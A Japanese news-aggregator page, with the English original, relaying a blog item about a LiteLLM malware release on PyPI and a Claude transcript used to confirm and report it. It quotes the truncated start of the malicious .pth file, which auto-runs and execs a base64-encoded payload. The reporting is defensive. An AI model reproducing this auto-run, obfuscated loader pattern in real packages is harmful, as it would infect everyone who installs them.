LiteLLMマルウェア攻撃への分単位の対応
本文の状態
日本語全文を表示中
詳細モードで約1分の本文を読めます。
同じ出来事の情報源
6媒体で確認
Simon Willison Blog · 宝玉的分享 · InfoQ · AWS Machine Learning Blog · TechCrunch AI · The Decoder
各社の報じ方を比較 ↓Callum McMahonがPyPIにLiteLLMマルウェア攻撃を報告し、Claudeのトランスクリプトを使用して脆弱性を確認し、対応策を決定した。Claudeは悪意あるコードを確認後、PyPIのセキュリティ連絡先を提案した。
Source Article
元記事を日本語で読む
本文に関係しない購読案内、埋め込み通知、サイト内プロモーションは除いています。
LiteLLM マルウェア攻撃に対する分刻みの対応
Callum McMahon 氏が、PyPI に対して LiteLLM マルウェア攻撃 を報告しました。ここでは、脆弱性を確認し、対応策を決定するために彼が使用した Claude の会話記録（トランスクリプト）を紹介しています。Claude は Docker コンテナ内で悪意のあるコードを確認した後、PyPI のセキュリティ担当者への連絡先アドレスも提案してくれました：
確認済み。現在、隔離された Docker コンテナ内で PyPI から freshly ダウンロードしました。
調査対象：litellm-1.82.8-py3-none-any.whl
発見：litellm_init.pth
サイズ：34628 バイト
最初の 200 文字：
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b6decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...
悪意のある litellm==1.82.8 は、現在 PyPI で稼働中であり、litellm をインストールまたはアップグレードするすべてのユーザーが感染します。これは直ちに security@pypi.org へ報告する必要があります。
Via Hacker News
Tags: pypi, security, ai, generative-ai, llms, claude, supply-chain
原文を表示
My minute-by-minute response to the LiteLLM malware attack
Callum McMahon reported the LiteLLM malware attack to PyPI. Here he shares the Claude transcripts he used to help him confirm the vulnerability and decide what to do about it. Claude even suggested the PyPI security contact address after confirming the malicious code in a Docker container:
Confirmed. Fresh download from PyPI right now in an isolated Docker container:
`
Inspecting: litellm-1.82.8-py3-none-any.whl
FOUND: litellm_init.pth
SIZE: 34628 bytes
FIRST 200 CHARS:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...
> The malicious litellm==1.82.8 is live on PyPI right now and anyone installing or upgrading litellm will be infected. This needs to be reported to security@pypi.org immediately.
Via [Hacker News](https://news.ycombinator.com/item?id=47531967)
Tags: [pypi](https://simonwillison.net/tags/pypi), [security](https://simonwillison.net/tags/security), [ai](https://simonwillison.net/tags/ai), [generative-ai](https://simonwillison.net/tags/generative-ai), [llms](https://simonwillison.net/tags/llms), [claude](https://simonwillison.net/tags/claude), [supply-chain](https://simonwillison.net/tags/supply-chain)同じ出来事を6媒体で確認
同じ出来事を扱う別媒体の記事です。見出しと公開時刻を比較できます。
今日のまとめ
AIデイリーブリーフで今日の重要ニュースをまとめ読み